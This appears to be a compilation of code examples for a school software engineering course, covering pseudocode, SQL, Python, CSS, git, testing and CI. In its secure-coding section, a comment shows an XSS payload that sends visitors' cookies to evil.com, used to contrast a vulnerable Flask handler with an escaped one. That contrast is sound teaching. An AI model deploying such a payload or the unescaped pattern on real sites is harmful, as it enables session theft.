Course Tools & Specifications

{
  "editor.fontSize": 14,
  "editor.tabSize": 4,
  "editor.formatOnSave": true,
  "python.defaultInterpreterPath": "${workspaceFolder}/venv/bin/python",
  "python.linting.enabled": true,
  "python.linting.pylintEnabled": true,
  "editor.rulers": [79],
  "files.trimTrailingWhitespace": true
}

Date: 14 March 2025    Session duration: 90 minutes

Tasks completed:
  - Implemented the login form with input validation (Python / Flask)
  - Updated Gantt chart: testing phase pushed back 2 days

Stumbling blocks:
  - The input sanitisation function was stripping "+" characters from
    valid email addresses (e.g. user+tag@example.com)

Solutions applied:
  - Updated the regex to r'^[\w.+\-]+@[\w\-]+\.[\w.]+$'
  - Verified against RFC 5321 which confirms "+" is legal in the local part

Next steps:
  - Write unit tests for the validate_email() function
  - Begin designing the database schema

Reflective comment:
  - This bug took longer than expected. In future I should test
    edge cases during coding rather than discovering them in testing.

BEGIN
  INPUT numbers        # A list of numbers entered by the user
  largest ← numbers[0]
  FOR i = 1 TO LENGTH(numbers) - 1
    IF numbers[i] > largest THEN
      largest ← numbers[i]
    ENDIF
  NEXT i
  OUTPUT "Largest value: ", largest
END

BEGIN
  INPUT score1
  INPUT score2
  INPUT score3
  total ← score1 + score2 + score3
  average ← total / 3
  OUTPUT "Average score: ", average
END

IF score >= 50 THEN
  OUTPUT "Result: Pass"
ELSE
  OUTPUT "Result: Fail"
ENDIF

CASEWHERE menuChoice equals
  1: OUTPUT "New Game"
  2: OUTPUT "Load Game"
  3: OUTPUT "High Scores"
  OTHERWISE: OUTPUT "Invalid choice"
END CASE

IF score >= 50 THEN
  IF score >= 85 THEN
    OUTPUT "Grade: A (Distinction)"
  ELSE
    OUTPUT "Grade: Pass"
  ENDIF
ELSE
  OUTPUT "Grade: Fail — please see your teacher"
ENDIF

INPUT password
WHILE password != "correct123"
  OUTPUT "Incorrect password. Try again."
  INPUT password
ENDWHILE
OUTPUT "Access granted."

REPEAT
  OUTPUT "Enter a number between 1 and 10: "
  INPUT number
UNTIL number >= 1 AND number <= 10
OUTPUT "You entered: ", number

total ← 0
FOR i = 1 TO 5 STEP 1
  INPUT score
  total ← total + score
NEXT i
average ← total / 5
OUTPUT "Class average: ", average

SUBROUTINE greetStudent(studentName)
  OUTPUT "Welcome, ", studentName, "!"
  OUTPUT "Good luck with your HSC."
END SUBROUTINE

# Calling the subroutine:
greetStudent("Alice")
greetStudent("Ben")

SUBROUTINE displayResult(studentName, score)
  OUTPUT studentName, " scored ", score, "/100"
  IF score >= 50 THEN
    OUTPUT "Result: Pass"
  ELSE
    OUTPUT "Result: Fail"
  ENDIF
END SUBROUTINE

# Calling the subroutine:
displayResult("Alice", 87)
displayResult("Ben", 43)

FUNCTION getGrade(score)
  IF score >= 90 THEN
    RETURN "A"
  ELSE
    IF score >= 75 THEN
      RETURN "B"
    ELSE
      IF score >= 50 THEN
        RETURN "C"
      ELSE
        RETURN "Fail"
      ENDIF
    ENDIF
  ENDIF
END FUNCTION

# Calling the function:
grade ← getGrade(82)
OUTPUT "Your grade is: ", grade    # Your grade is: B

SELECT field(s)
FROM table(s)
WHERE search criteria
GROUP BY field(s)
ORDER BY field(s) ASC/DESC

-- Get all students with a score above 80, sorted highest first
SELECT studentID, surname, score
FROM Students
WHERE score > 80
ORDER BY score DESC;

-- Count how many students passed each subject
SELECT subjectName, COUNT(*) AS numPassing
FROM Enrolments
WHERE score >= 50
GROUP BY subjectName
ORDER BY numPassing DESC;

-- Join two tables: get student names with their subject enrolments
SELECT Students.surname, Subjects.subjectName, Enrolments.score
FROM Students
JOIN Enrolments ON Students.studentID = Enrolments.studentID
JOIN Subjects ON Enrolments.subjectID = Subjects.subjectID
WHERE Enrolments.score >= 50;

# The class maps directly to the "students" database table
class Student(Base):
    __tablename__ = 'students'
    studentID = Column(Integer, primary_key=True)
    surname   = Column(String(50))
    score     = Column(Float)

# Query using objects instead of SQL strings
passing = session.query(Student).filter(Student.score >= 50).all()
for s in passing:
    print(s.surname, s.score)

# VULNERABLE — user input rendered directly as HTML:
comment = request.form['comment']
return f"<p>{comment}</p>"
# If comment = <script>document.location='https://evil.com?c='+document.cookie</script>
# → every visitor's cookie is sent to the attacker

# SAFE — escape special characters before rendering:
from markupsafe import escape
safe_comment = escape(comment)
return f"<p>{safe_comment}</p>"
# <script> becomes &lt;script&gt; — displayed as text, never executed

/* Syntax: selector { property: value; } */

/* Element selector — targets all <p> tags */
p {
  font-size: 16px;
  color: #333333;
  line-height: 1.6;
}

/* Class selector — targets elements with class="highlight" */
.highlight {
  background-color: yellow;
  font-weight: bold;
}

/* ID selector — targets the unique element with id="header" */
#header {
  background-color: #2c3e50;
  padding: 20px;
  text-align: center;
}

/* Descendant selector — targets <a> inside .nav */
.nav a {
  color: white;
  text-decoration: none;
}

# Convert between characters and their ASCII codes
print(ord('A'))        # → 65
print(ord('a'))        # → 97
print(chr(65))         # → 'A'
print(chr(90))         # → 'Z'

# Case conversion using the 32-bit difference
upper = 'H'
lower = chr(ord(upper) + 32)   # 72 + 32 = 104 → 'h'
print(lower)                   # → 'h'

# Simple Caesar cipher — shift each letter by 3
message = "HELLO"
ciphertext = ""
for ch in message:
    shifted = chr(ord(ch) + 3)
    ciphertext += shifted
print(ciphertext)    # → 'KHOOR'

# Check if a character is uppercase, lowercase, or digit
ch = 'G'
if 65 <= ord(ch) <= 90:
    print(f"{ch} is uppercase")
elif 97 <= ord(ch) <= 122:
    print(f"{ch} is lowercase")
elif 48 <= ord(ch) <= 57:
    print(f"{ch} is a digit")

# Variables are dynamically typed — no need to declare a type
name = "Alice"
age = 17
score = 87.5
is_passing = True

# Getting input from the user (always returns a string)
name = input("Enter your name: ")
age = int(input("Enter your age: "))    # Convert to integer
score = float(input("Enter score: "))   # Convert to float

# Output
print("Hello,", name)
print(f"Score: {score:.1f}/100")        # f-string with 1 decimal place

# Binary selection
if score >= 50:
    print("Pass")
else:
    print("Fail")

# Multi-way selection (elif chain)
if score >= 90:
    grade = "A"
elif score >= 75:
    grade = "B"
elif score >= 50:
    grade = "C"
else:
    grade = "Fail"
print(f"Grade: {grade}")

# for loop — counted repetition (range gives 1, 2, 3, 4, 5)
total = 0
for i in range(1, 6):
    score = int(input(f"Enter score {i}: "))
    total += score
average = total / 5
print(f"Average: {average}")

# while loop — condition-controlled (pre-test)
password = input("Enter password: ")
while password != "secret123":
    print("Incorrect. Try again.")
    password = input("Enter password: ")
print("Access granted.")

# Procedure — performs an action, no return value
def display_result(name, score):
    print(f"{name}: {score}/100")
    if score >= 50:
        print("  → Pass")
    else:
        print("  → Fail")

# Function — returns a computed value
def calculate_grade(score):
    if score >= 90:
        return "A"
    elif score >= 75:
        return "B"
    elif score >= 50:
        return "C"
    else:
        return "Fail"

# Calling them
display_result("Alice", 87)
grade = calculate_grade(87)
print(f"Grade: {grade}")     # Grade: B

scores = [85, 92, 78, 64, 90]

# Access by index (0-based)
print(scores[0])    # 85
print(scores[-1])   # 90 (last element)

# Common list operations
scores.append(77)         # Add to end
scores.sort()             # Sort ascending
scores.sort(reverse=True) # Sort descending
highest = max(scores)
lowest = min(scores)
average = sum(scores) / len(scores)

# Iterate over a list
for s in scores:
    print(s, end=" ")    # 92 90 85 78 77 64

# List comprehension — filter passing scores
passing = [s for s in scores if s >= 50]

# Writing to a file
with open("scores.txt", "w") as f:
    for score in scores:
        f.write(str(score) + "\n")

# Reading from a file
with open("scores.txt", "r") as f:
    for line in f:
        value = int(line.strip())   # strip() removes trailing newline
        print(value)

# Appending to an existing file
with open("scores.txt", "a") as f:
    f.write("99\n")

# Dictionary stores key-value pairs
student = {
    "name": "Alice",
    "age": 17,
    "score": 87.5
}

# Access and update
print(student["name"])          # Alice
student["score"] = 92.0         # Update value
student["subject"] = "SoftEng" # Add new key

# Iterate over key-value pairs
for key, value in student.items():
    print(f"{key}: {value}")

# Basic exception handling — prevent a crash on bad input
try:
    age = int(input("Enter your age: "))
    print(f"In 10 years you will be {age + 10}")
except ValueError:
    print("Error: please enter a whole number.")

# Handle multiple exception types
try:
    with open("data.txt", "r") as f:
        data = f.read()
    number = int(data.strip())
    result = 100 / number
    print(f"Result: {result}")
except FileNotFoundError:
    print("Error: data.txt not found.")
except ValueError:
    print("Error: file does not contain a valid integer.")
except ZeroDivisionError:
    print("Error: cannot divide by zero.")
finally:
    print(("Processing complete."))   # Runs whether exception occurred or not

# Start from an up-to-date main branch
git switch main
git pull origin main

# Create and switch to a new feature branch
git switch -c feature/student-search

# ... write code ...

# Stage and commit changes
git add search.py templates/search.html
git commit -m "Add student search by name and ID"

# Push branch to remote
git push -u origin feature/student-search

# After PR is reviewed and approved:
git switch main
git pull origin main
git merge feature/student-search
git push origin main

# Clean up
git branch -d feature/student-search

# Virtual environments
venv/
.venv/
env/

# Python bytecode
__pycache__/
*.pyc
*.pyo

# Environment variables (NEVER commit secrets)
.env
.env.local
secrets.json

# IDE files
.vscode/
.idea/
*.swp

# Test coverage reports
.coverage
htmlcov/

# Build outputs
dist/
build/
*.egg-info/

import unittest
from bank_account import BankAccount   # the module we're testing

class TestBankAccount(unittest.TestCase):

    def setUp(self):
        """Runs before each test method — creates fresh test data."""
        self.account = BankAccount("Alice", 1000)

    def tearDown(self):
        """Runs after each test method — clean up if needed."""
        pass

    def test_initial_balance(self):
        self.assertEqual(self.account.balance, 1000)

    def test_deposit_increases_balance(self):
        self.account.deposit(500)
        self.assertEqual(self.account.balance, 1500)

    def test_withdraw_decreases_balance(self):
        self.account.withdraw(200)
        self.assertEqual(self.account.balance, 800)

    def test_withdraw_insufficient_funds_raises_error(self):
        with self.assertRaises(ValueError):
            self.account.withdraw(9999)

    def test_deposit_negative_raises_error(self):
        with self.assertRaises(ValueError):
            self.account.deposit(-50)

    def test_balance_cannot_go_negative(self):
        self.account.withdraw(1000)
        self.assertGreaterEqual(self.account.balance, 0)

if __name__ == '__main__':
    unittest.main(verbosity=2)

import pytest
from bank_account import BankAccount

@pytest.fixture
def account():
    """pytest fixture — creates a BankAccount for each test."""
    return BankAccount("Bob", 500)

def test_deposit(account):
    account.deposit(100)
    assert account.balance == 600

def test_withdraw(account):
    account.withdraw(200)
    assert account.balance == 300

# Parametrize: run same test with multiple inputs
@pytest.mark.parametrize("amount,expected", [
    (100, 600),
    (500, 1000),
    (0.01, 500.01),
])
def test_deposit_parametrized(account, amount, expected):
    account.deposit(amount)
    assert account.balance == pytest.approx(expected)

name: Run Tests

on:
  push:
    branches: [ main, develop ]
  pull_request:
    branches: [ main ]

jobs:
  test:
    runs-on: ubuntu-latest

    steps:
    - name: Check out code
      uses: actions/checkout@v4

    - name: Set up Python 3.11
      uses: actions/setup-python@v4
      with:
        python-version: '3.11'

    - name: Install dependencies
      run: |
        python -m pip install --upgrade pip
        pip install -r requirements.txt
        pip install pytest coverage

    - name: Run tests with coverage
      run: |
        coverage run -m pytest tests/ -v
        coverage report --fail-under=80